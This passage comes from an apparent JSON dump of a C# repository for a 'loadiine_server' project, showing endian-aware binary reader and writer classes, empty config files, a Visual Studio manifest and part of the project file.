count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToSingle(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public Int32 ReadInt32()\n        {\n            const int size = sizeof(Int32);\n            FillBuffer(size, size);\n            return BitConverter.ToInt32(buffer, 0);\n        }\n\n        public Int32[] ReadInt32s(int count)\n        {\n            const int size = sizeof(Int32);\n            Int32[] temp;\n\n            temp = new Int32[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToInt32(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public Int64 ReadInt64()\n        {\n            const int size = sizeof(Int64);\n            FillBuffer(size, size);\n            return BitConverter.ToInt64(buffer, 0);\n        }\n\n        public Int64[] ReadInt64s(int count)\n        {\n            const int size = sizeof(Int64);\n            Int64[] temp;\n\n            temp = new Int64[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToInt64(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public Int16 ReadInt16()\n        {\n            const int size = sizeof(Int16);\n            FillBuffer(size, size);\n            return BitConverter.ToInt16(buffer, 0);\n        }\n\n        public Int16[] ReadInt16s(int count)\n        {\n            const int size = sizeof(Int16);\n            Int16[] temp;\n\n            temp = new Int16[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToInt16(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public UInt16 ReadUInt16()\n        {\n            const int size = sizeof(UInt16);\n            FillBuffer(size, size);\n            return BitConverter.ToUInt16(buffer, 0);\n        }\n\n        public UInt16[] ReadUInt16s(int count)\n        {\n            const int size = sizeof(UInt16);\n            UInt16[] temp;\n\n            temp = new UInt16[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToUInt16(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public UInt32 ReadUInt32()\n        {\n            const int size = sizeof(UInt32);\n            FillBuffer(size, size);\n            return BitConverter.ToUInt32(buffer, 0);\n        }\n\n        public UInt32[] ReadUInt32s(int count)\n        {\n            const int size = sizeof(UInt32);\n            UInt32[] temp;\n\n            temp = new UInt32[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToUInt32(buffer, size * i);\n            }\n            return temp;\n        }\n\n        public UInt64 ReadUInt64()\n        {\n            const int size = sizeof(UInt64);\n            FillBuffer(size, size);\n            return BitConverter.ToUInt64(buffer, 0);\n        }\n\n        public UInt64[] ReadUInt64s(int count)\n        {\n            const int size = sizeof(UInt64);\n            UInt64[] temp;\n\n            temp = new UInt64[count];\n            FillBuffer(size * count, size);\n\n            for (int i = 0; i < count; i++)\n            {\n                temp[i] = BitConverter.ToUInt64(buffer, size * i);\n            }\n            return temp;\n        }\n\n        private List<Tuple<int, TypeCode>> GetParser(Type type)\n        {\n            List<Tuple<int, TypeCode>> parser;\n\n            /* A parser describes how to read in a type in an Endian\n             * appropriate manner. Basically it describes as series of calls to\n             * the Read* methods above to parse the structure.\n             * The parser runs through each element in the list in order. If\n             * the TypeCode is not Empty then it reads an array of values\n             * according to the integer. Otherwise it skips a number of bytes. */\n\n            try\n            {\n                parser = parserCache[type];\n            }\n            catch (KeyNotFoundException)\n            {\n                parser = new List<Tuple<int, TypeCode>>();\n\n                if (Endianness != SystemEndianness)\n                {\n                    int pos, sz;\n\n                    pos = 0;\n                    foreach (var item in type.GetFields())\n                    {\n                        int off = Marshal.OffsetOf(type, item.Name).ToInt32();\n                        if (off != pos)\n                        {\n                            parser.Add(new Tuple<int, TypeCode>(off - pos, TypeCode.Empty));\n                            pos = off;\n                        }\n                        switch (Type.GetTypeCode(item.FieldType))\n                        {\n                            case TypeCode.Byte:\n                            case TypeCode.SByte:\n                                pos += 1;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Int16:\n                            case TypeCode.UInt16:\n                                pos += 2;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Int32:\n                            case TypeCode.UInt32:\n                            case TypeCode.Single:\n                                pos += 4;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Int64:\n                            case TypeCode.UInt64:\n                            case TypeCode.Double:\n                                pos += 8;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Object:\n                                if (item.FieldType.IsArray)\n                                {\n                                    /* array */\n                                    Type elementType;\n                                    MarshalAsAttribute[] attrs;\n                                    MarshalAsAttribute attr;\n\n                                    attrs = (MarshalAsAttribute[])item.GetCustomAttributes(typeof(MarshalAsAttribute), false);\n                                    if (attrs.Length != 1)\n                                        throw new ArgumentException(String.Format(\"Field `{0}' is an array without a MarshalAs attribute.\", item.Name), \"type\");\n\n                                    attr = attrs[0];\n                                    if (attr.Value != UnmanagedType.ByValArray)\n                                        throw new ArgumentException(String.Format(\"Field `{0}' is not a ByValArray.\", item.Name), \"type\");\n\n                                    elementType = item.FieldType.GetElementType();\n                                    switch (Type.GetTypeCode(elementType))\n                                    {\n                                        case TypeCode.Byte:\n                                        case TypeCode.SByte:\n                                            pos += 1 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Int16:\n                                        case TypeCode.UInt16:\n                                            pos += 2 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Int32:\n                                        case TypeCode.UInt32:\n                                        case TypeCode.Single:\n                                            pos += 4 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Int64:\n                                        case TypeCode.UInt64:\n                                        case TypeCode.Double:\n                                            pos += 8 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Object:\n                                            /* nested structure */\n                                            for (int i = 0; i < attr.SizeConst; i++)\n                                            {\n                                                pos += Marshal.SizeOf(elementType);\n                                                parser.AddRange(GetParser(elementType));\n                                            }\n                                            break;\n                                        default:\n                                            break;\n                                    }\n                                }\n                                else\n                                {\n                                    /* nested structure */\n                                    pos += Marshal.SizeOf(item.FieldType);\n                                    parser.AddRange(GetParser(item.FieldType));\n                                }\n                                break;\n                            default:\n                                throw new NotImplementedException();\n                        }\n                    }\n\n                    sz = Marshal.SizeOf(type);\n                    if (sz != pos)\n                    {\n                        parser.Add(new Tuple<int, TypeCode>(sz - pos, TypeCode.Empty));\n                    }\n                }\n                else\n                {\n                    int sz;\n\n                    sz = Marshal.SizeOf(type);\n                    parser.Add(new Tuple<int, TypeCode>(sz, TypeCode.Byte));\n                }\n                parserCache.Add(type, parser);\n            }\n\n            return parser;\n        }\n\n        private void RunParser(List<Tuple<int, TypeCode>> parser, BinaryWriter wr)\n        {\n            foreach (var item in parser)\n            {\n                /* Assumption: Types of the same size can be interchanged. */\n                switch (item.Item2)\n                {\n                    case TypeCode.Byte:\n                    case TypeCode.SByte:\n                        wr.Write(ReadBytes(item.Item1), 0, item.Item1);\n                        break;\n                    case TypeCode.Int16:\n                    case TypeCode.UInt16:\n                        foreach (var val in ReadInt16s(item.Item1))\n                            wr.Write(val);\n                        break;\n                    case TypeCode.Int32:\n                    case TypeCode.UInt32:\n                    case TypeCode.Single:\n                        foreach (var val in ReadInt32s(item.Item1))\n                            wr.Write(val);\n                        break;\n                    case TypeCode.Int64:\n                    case TypeCode.UInt64:\n                    case TypeCode.Double:\n                        foreach (var val in ReadInt64s(item.Item1))\n                            wr.Write(val);\n                        break;\n                    case TypeCode.Empty:\n                        BaseStream.Seek(item.Item1, SeekOrigin.Current);\n                        wr.BaseStream.Seek(item.Item1, SeekOrigin.Current);\n                        break;\n                    default:\n                        throw new NotImplementedException();\n                }\n            }\n        }\n\n        public object ReadStructure(Type type)\n        {\n            List<Tuple<int, TypeCode>> parser;\n            object result;\n\n            parser = GetParser(type);\n\n            using (var ms = new MemoryStream())\n            {\n                using (var wr = new BinaryWriter(ms))\n                {\n                    RunParser(parser, wr);\n                }\n                result = Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(ms.ToArray(), 0), type);\n            }\n            return result;\n        }\n\n        public Array ReadStructures(Type type, int count)\n        {\n            List<Tuple<int, TypeCode>> parser;\n            Array result;\n\n            parser = GetParser(type);\n\n            result = Array.CreateInstance(type, count);\n\n            using (var ms = new MemoryStream())\n            {\n                using (var wr = new BinaryWriter(ms))\n                {\n                    for (int i = 0; i < count; i++)\n                    {\n                        ms.Seek(0, SeekOrigin.Begin);\n                        RunParser(parser, wr);\n                        result.SetValue(Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(ms.ToArray(), 0), type), i);\n                    }\n                }\n            }\n            return result;\n        }\n\n        public void Close()\n        {\n            BaseStream.Close();\n        }\n\n        public void Dispose()\n        {\n            Dispose(true);\n            GC.SuppressFinalize(this);\n        }\n\n        private void Dispose(bool disposing)\n        {\n            if (!disposed)\n            {\n                if (disposing)\n                {\n                }\n\n                BaseStream = null;\n                buffer = null;\n\n                disposed = true;\n            }\n        }\n    }\n\n    enum Endianness\n    {\n        BigEndian,\n        LittleEndian,\n    }\n}\n"
  },
  {
    "path": "server/src/System/IO/EndianBinaryWriter.cs",
    "content": "﻿using System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Text;\n\nnamespace System.IO\n{\n    sealed class EndianBinaryWriter : IDisposable\n    {\n        private bool disposed;\n        private byte[] buffer;\n\n        private delegate void ArrayReverse(byte[] array, int count);\n        private static readonly ArrayReverse[] fastReverse = new ArrayReverse[] { null, null, ArrayReverse2, null, ArrayReverse4, null, null, null, ArrayReverse8 };\n\n        private static Dictionary<Type, List<Tuple<int, TypeCode>>> parserCache = new Dictionary<Type, List<Tuple<int, TypeCode>>>();\n\n        public Stream BaseStream { get; private set; }\n        public Endianness Endianness { get; set; }\n        public static Endianness SystemEndianness { get { return BitConverter.IsLittleEndian ? Endianness.LittleEndian : Endianness.BigEndian; } }\n\n        private bool Reverse { get { return SystemEndianness != Endianness; } }\n\n        public EndianBinaryWriter(Stream baseStream)\n            : this(baseStream, Endianness.BigEndian)\n        { }\n\n        public EndianBinaryWriter(Stream baseStream, Endianness endianness)\n        {\n            if (baseStream == null) throw new ArgumentNullException(\"baseStream\");\n            if (!baseStream.CanWrite) throw new ArgumentException(\"base stream is not writeable\", \"baseStream\");\n\n            BaseStream = baseStream;\n            Endianness = endianness;\n        }\n\n        ~EndianBinaryWriter()\n        {\n            Dispose(false);\n        }\n\n        private void WriteBuffer(int bytes, int stride)\n        {\n            if (Reverse)\n            {\n                if (fastReverse[stride] != null)\n                    fastReverse[stride](buffer, bytes);\n                else\n                    for (int i = 0; i < bytes; i += stride)\n                    {\n                        Array.Reverse(buffer, i, stride);\n                    }\n            }\n\n            BaseStream.Write(buffer, 0, bytes);\n        }\n\n        private static void ArrayReverse2(byte[] array, int arrayLength)\n        {\n            byte temp;\n\n            while (arrayLength > 0)\n            {\n                temp = array[arrayLength - 2];\n                array[arrayLength - 2] = array[arrayLength - 1];\n                array[arrayLength - 1] = temp;\n                arrayLength -= 2;\n            }\n        }\n\n        private static void ArrayReverse4(byte[] array, int arrayLength)\n        {\n            byte temp;\n\n            while (arrayLength > 0)\n            {\n                temp = array[arrayLength - 3];\n                array[arrayLength - 3] = array[arrayLength - 2];\n                array[arrayLength - 2] = temp;\n                temp = array[arrayLength - 4];\n                array[arrayLength - 4] = array[arrayLength - 1];\n                array[arrayLength - 1] = temp;\n                arrayLength -= 4;\n            }\n        }\n\n        private static void ArrayReverse8(byte[] array, int arrayLength)\n        {\n            byte temp;\n\n            while (arrayLength > 0)\n            {\n                temp = array[arrayLength - 5];\n                array[arrayLength - 5] = array[arrayLength - 4];\n                array[arrayLength - 4] = temp;\n                temp = array[arrayLength - 6];\n                array[arrayLength - 6] = array[arrayLength - 3];\n                array[arrayLength - 3] = temp;\n                temp = array[arrayLength - 7];\n                array[arrayLength - 7] = array[arrayLength - 2];\n                array[arrayLength - 2] = temp;\n                temp = array[arrayLength - 8];\n                array[arrayLength - 8] = array[arrayLength - 1];\n                array[arrayLength - 1] = temp;\n                arrayLength -= 8;\n            }\n        }\n\n        private void CreateBuffer(int size)\n        {\n            if (buffer == null || buffer.Length < size)\n                buffer = new byte[size];\n        }\n\n        public void Write(byte value)\n        {\n            CreateBuffer(1);\n            buffer[0] = value;\n            WriteBuffer(1, 1);\n        }\n\n        public void Write(byte[] value, int offset, int count)\n        {\n            CreateBuffer(count);\n            Array.Copy(value, offset, buffer, 0, count);\n            WriteBuffer(count, 1);\n        }\n\n        public void Write(sbyte value)\n        {\n            CreateBuffer(1);\n            unchecked\n            {\n                buffer[0] = (byte)value;\n            }\n            WriteBuffer(1, 1);\n        }\n\n        public void Write(sbyte[] value, int offset, int count)\n        {\n            CreateBuffer(count);\n\n            unchecked\n            {\n                for (int i = 0; i < count; i++)\n                {\n                    buffer[i] = (byte)value[i + offset];\n                }\n            }\n\n            WriteBuffer(count, 1);\n        }\n\n        public void Write(char value, Encoding encoding)\n        {\n            int size;\n\n            if (encoding == null) throw new ArgumentNullException(\"encoding\");\n\n            size = GetEncodingSize(encoding);\n            CreateBuffer(size);\n            Array.Copy(encoding.GetBytes(new string(value, 1)), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(char[] value, int offset, int count, Encoding encoding)\n        {\n            int size;\n\n            if (encoding == null) throw new ArgumentNullException(\"encoding\");\n\n            size = GetEncodingSize(encoding);\n            CreateBuffer(size * count);\n            Array.Copy(encoding.GetBytes(value, offset, count), 0, buffer, 0, count * size);\n            WriteBuffer(size * count, size);\n        }\n\n        private static int GetEncodingSize(Encoding encoding)\n        {\n            if (encoding == Encoding.UTF8 || encoding == Encoding.ASCII)\n                return 1;\n            else if (encoding == Encoding.Unicode || encoding == Encoding.BigEndianUnicode)\n                return 2;\n\n            return 1;\n        }\n\n        public void Write(string value,Encoding encoding,  bool nullTerminated)\n        {\n            Write(value.ToCharArray(), 0, value.Length, encoding);\n            if (nullTerminated)\n                Write('\\0', encoding);\n        }\n\n        public void Write(double value)\n        {\n            const int size = sizeof(double);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(double[] value, int offset, int count)\n        {\n            const int size = sizeof(double);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(Single value)\n        {\n            const int size = sizeof(Single);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(Single[] value, int offset, int count)\n        {\n            const int size = sizeof(Single);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(Int32 value)\n        {\n            const int size = sizeof(Int32);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(Int32[] value, int offset, int count)\n        {\n            const int size = sizeof(Int32);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(Int64 value)\n        {\n            const int size = sizeof(Int64);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(Int64[] value, int offset, int count)\n        {\n            const int size = sizeof(Int64);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(Int16 value)\n        {\n            const int size = sizeof(Int16);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(Int16[] value, int offset, int count)\n        {\n            const int size = sizeof(Int16);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(UInt16 value)\n        {\n            const int size = sizeof(UInt16);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(UInt16[] value, int offset, int count)\n        {\n            const int size = sizeof(UInt16);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(UInt32 value)\n        {\n            const int size = sizeof(UInt32);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(UInt32[] value, int offset, int count)\n        {\n            const int size = sizeof(UInt32);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void Write(UInt64 value)\n        {\n            const int size = sizeof(UInt64);\n\n            CreateBuffer(size);\n            Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);\n            WriteBuffer(size, size);\n        }\n\n        public void Write(UInt64[] value, int offset, int count)\n        {\n            const int size = sizeof(UInt64);\n\n            CreateBuffer(size * count);\n            for (int i = 0; i < count; i++)\n            {\n                Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);\n            }\n\n            WriteBuffer(size * count, size);\n        }\n\n        public void WritePadding(int multiple, byte padding)\n        {\n            int length = (int)(BaseStream.Position % multiple);\n\n            if (length != 0)\n                while (length != multiple)\n                {\n                    BaseStream.WriteByte(padding);\n                    length++;\n                }\n        }\n\n        public void WritePadding(int multiple, byte padding, long from, int offset)\n        {\n            int length = (int)((BaseStream.Position - from) % multiple);\n            length = (length + offset) % multiple;\n\n            if (length != 0)\n                while (length != multiple)\n                {\n                    BaseStream.WriteByte(padding);\n                    length++;\n                }\n        }\n\n        private List<Tuple<int, TypeCode>> GetParser(Type type)\n        {\n            List<Tuple<int, TypeCode>> parser;\n\n            /* A parser describes how to read in a type in an Endian\n             * appropriate manner. Basically it describes as series of calls to\n             * the Read* methods above to parse the structure.\n             * The parser runs through each element in the list in order. If\n             * the TypeCode is not Empty then it reads an array of values\n             * according to the integer. Otherwise it skips a number of bytes. */\n\n            try\n            {\n                parser = parserCache[type];\n            }\n            catch (KeyNotFoundException)\n            {\n                parser = new List<Tuple<int, TypeCode>>();\n\n                if (Endianness != SystemEndianness)\n                {\n                    int pos, sz;\n\n                    pos = 0;\n                    foreach (var item in type.GetFields())\n                    {\n                        int off = Marshal.OffsetOf(type, item.Name).ToInt32();\n                        if (off != pos)\n                        {\n                            parser.Add(new Tuple<int, TypeCode>(off - pos, TypeCode.Empty));\n                            pos = off;\n                        }\n                        switch (Type.GetTypeCode(item.FieldType))\n                        {\n                            case TypeCode.Byte:\n                            case TypeCode.SByte:\n                                pos += 1;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Int16:\n                            case TypeCode.UInt16:\n                                pos += 2;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Int32:\n                            case TypeCode.UInt32:\n                            case TypeCode.Single:\n                                pos += 4;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Int64:\n                            case TypeCode.UInt64:\n                            case TypeCode.Double:\n                                pos += 8;\n                                parser.Add(new Tuple<int, TypeCode>(1, Type.GetTypeCode(item.FieldType)));\n                                break;\n                            case TypeCode.Object:\n                                if (item.FieldType.IsArray)\n                                {\n                                    /* array */\n                                    Type elementType;\n                                    MarshalAsAttribute[] attrs;\n                                    MarshalAsAttribute attr;\n\n                                    attrs = (MarshalAsAttribute[])item.GetCustomAttributes(typeof(MarshalAsAttribute), false);\n                                    if (attrs.Length != 1)\n                                        throw new ArgumentException(String.Format(\"Field `{0}' is an array without a MarshalAs attribute.\", item.Name), \"type\");\n\n                                    attr = attrs[0];\n                                    if (attr.Value != UnmanagedType.ByValArray)\n                                        throw new ArgumentException(String.Format(\"Field `{0}' is not a ByValArray.\", item.Name), \"type\");\n\n                                    elementType = item.FieldType.GetElementType();\n                                    switch (Type.GetTypeCode(elementType))\n                                    {\n                                        case TypeCode.Byte:\n                                        case TypeCode.SByte:\n                                            pos += 1 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Int16:\n                                        case TypeCode.UInt16:\n                                            pos += 2 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Int32:\n                                        case TypeCode.UInt32:\n                                        case TypeCode.Single:\n                                            pos += 4 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Int64:\n                                        case TypeCode.UInt64:\n                                        case TypeCode.Double:\n                                            pos += 8 * attr.SizeConst;\n                                            parser.Add(new Tuple<int, TypeCode>(attr.SizeConst, Type.GetTypeCode(elementType)));\n                                            break;\n                                        case TypeCode.Object:\n                                            /* nested structure */\n                                            for (int i = 0; i < attr.SizeConst; i++)\n                                            {\n                                                pos += Marshal.SizeOf(elementType);\n                                                parser.AddRange(GetParser(elementType));\n                                            }\n                                            break;\n                                        default:\n                                            break;\n                                    }\n                                }\n                                else\n                                {\n                                    /* nested structure */\n                                    pos += Marshal.SizeOf(item.FieldType);\n                                    parser.AddRange(GetParser(item.FieldType));\n                                }\n                                break;\n                            default:\n                                throw new NotImplementedException();\n                        }\n                    }\n\n                    sz = Marshal.SizeOf(type);\n                    if (sz != pos)\n                    {\n                        parser.Add(new Tuple<int, TypeCode>(sz - pos, TypeCode.Empty));\n                    }\n                }\n                else\n                {\n                    int sz;\n\n                    sz = Marshal.SizeOf(type);\n                    parser.Add(new Tuple<int, TypeCode>(sz, TypeCode.Byte));\n                }\n                parserCache.Add(type, parser);\n            }\n\n            return parser;\n        }\n\n        private void RunParser(List<Tuple<int, TypeCode>> parser, BinaryReader rd)\n        {\n            foreach (var item in parser)\n            {\n                /* Assumption: Types of the same size can be interchanged. */\n                switch (item.Item2)\n                {\n                    case TypeCode.Byte:\n                    case TypeCode.SByte:\n                        Write(rd.ReadBytes(item.Item1), 0, item.Item1);\n                        break;\n                    case TypeCode.Int16:\n                    case TypeCode.UInt16:\n                        for (int i = 0; i < item.Item1; i++)\n                            Write(rd.ReadInt16());\n                        break;\n                    case TypeCode.Int32:\n                    case TypeCode.UInt32:\n                    case TypeCode.Single:\n                        for (int i = 0; i < item.Item1; i++)\n                            Write(rd.ReadInt32());\n                        break;\n                    case TypeCode.Int64:\n                    case TypeCode.UInt64:\n                    case TypeCode.Double:\n                        for (int i = 0; i < item.Item1; i++)\n                            Write(rd.ReadInt64());\n                        break;\n                    case TypeCode.Empty:\n                        rd.BaseStream.Seek(item.Item1, SeekOrigin.Current);\n                        BaseStream.Seek(item.Item1, SeekOrigin.Current);\n                        break;\n                    default:\n                        throw new NotImplementedException();\n                }\n            }\n        }\n\n        public void Write(object structure)\n        {\n            List<Tuple<int, TypeCode>> parser;\n            Type type;\n            byte[] data;\n\n            type = structure.GetType();\n            parser = GetParser(type);\n            data = new byte[Marshal.SizeOf(type)];\n\n            using (var ms = new MemoryStream(data))\n            {\n                using (var rd = new BinaryReader(ms))\n                {\n                    Marshal.StructureToPtr(structure, Marshal.UnsafeAddrOfPinnedArrayElement(data, 0), true);\n                    RunParser(parser, rd);\n                }\n            }\n        }\n\n        public void Write(Array structures)\n        {\n            List<Tuple<int, TypeCode>> parser;\n            Type type;\n            byte[] data;\n\n            type = structures.GetType().GetElementType();\n            parser = GetParser(type);\n            data = new byte[Marshal.SizeOf(type)];\n\n            using (var ms = new MemoryStream(data))\n            {\n                using (var rd = new BinaryReader(ms))\n                {\n                    foreach (var structure in structures)\n                    {\n                        ms.Seek(0, SeekOrigin.Begin);\n                        Marshal.StructureToPtr(structure, Marshal.UnsafeAddrOfPinnedArrayElement(data, 0), true);\n                        RunParser(parser, rd);\n                    }\n                }\n            }\n        }\n\n        public void Close()\n        {\n            BaseStream.Close();\n        }\n\n        public void Dispose()\n        {\n            Dispose(true);\n            GC.SuppressFinalize(this);\n        }\n\n        private void Dispose(bool disposing)\n        {\n            if (!disposed)\n            {\n                if (disposing)\n                {\n                }\n\n                BaseStream = null;\n                buffer = null;\n\n                disposed = true;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "server/src/app.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n</configuration>"
  },
  {
    "path": "server/src/bin/Debug/loadiine_server.exe.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n</configuration>"
  },
  {
    "path": "server/src/bin/Debug/loadiine_server.vshost.exe.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<configuration>\n</configuration>"
  },
  {
    "path": "server/src/bin/Debug/loadiine_server.vshost.exe.manifest",
    "content": "﻿<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\n<assembly xmlns=\"urn:schemas-microsoft-com:asm.v1\" manifestVersion=\"1.0\">\n  <assemblyIdentity version=\"1.0.0.0\" name=\"MyApplication.app\"/>\n  <trustInfo xmlns=\"urn:schemas-microsoft-com:asm.v2\">\n    <security>\n      <requestedPrivileges xmlns=\"urn:schemas-microsoft-com:asm.v3\">\n        <requestedExecutionLevel level=\"asInvoker\" uiAccess=\"false\"/>\n      </requestedPrivileges>\n    </security>\n  </trustInfo>\n</assembly>\n"
  },
  {
    "path": "server/src/loadiine_server.csproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <PropertyGroup>\n    <Configuration Condition=\" '$(Configuration)' == '' \">Debug</Configuration>\n    <Platform Condition=\" '$(Platform)' == '' \">x86</Platform>\n    <ProductVersion>8.0.30703</ProductVersion>\n    <SchemaVersion>2.0</SchemaVersion>\n    <ProjectGuid>{84FB17D5-D67B-4B9E-9041-00424036BF2E}</ProjectGuid>\n    <OutputType>Exe</OutputType>\n    <AppDesignerFolder>Properties</AppDesignerFolder>\n    <RootNamespace>loadiine_server</RootNamespace>\n    <AssemblyName>loadiine_server</AssemblyName>\n    <TargetFrameworkVersion>v4.0</TargetFrameworkVersion>\n    <TargetFrameworkProfile>Client</TargetFrameworkProfile>\n    <FileAlignment>512</FileAlignment>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Debug|x86' \">\n    <PlatformTarget>x86</PlatformTarget>\n    <DebugSymbols>true</DebugSymbols>\n    <DebugType>full</DebugType>\n    <Optimize>false</Optimize>\n    <OutputPath>bin\\Debug\\</OutputPath>\n    <DefineConstants>DEBUG;TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|x86' \">\n    <PlatformTarget>x86</PlatformTarget>\n    <DebugType>pdbonly</DebugType>\n    <Optimize>true</Optimize>\n    <OutputPath>bin\\Release\\</OutputPath>\n    <DefineConstants>TRACE</DefineConstants>\n    <ErrorReport>prompt</ErrorReport>\n    <WarningLevel>4</WarningLevel>\n  </PropertyGroup>\n  <ItemGroup>\n    <Reference Include=\"System\" />\n    <Reference Include=\"System.configuration\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Compile Include=\"Program.cs\" />\n    <Compile Include=\"Properties\\AssemblyInfo.cs\" />\n    <Compile Include=\"System\\IO\\EndianBinaryReader.cs\" />\n    <Compile Include=\"System\\IO\\EndianBinaryWriter.cs\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"app.config\" />\n  </ItemGroup>\n  <Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. \n       Other similar extension points exist, see Microsoft.Common.targets.\n  <Target 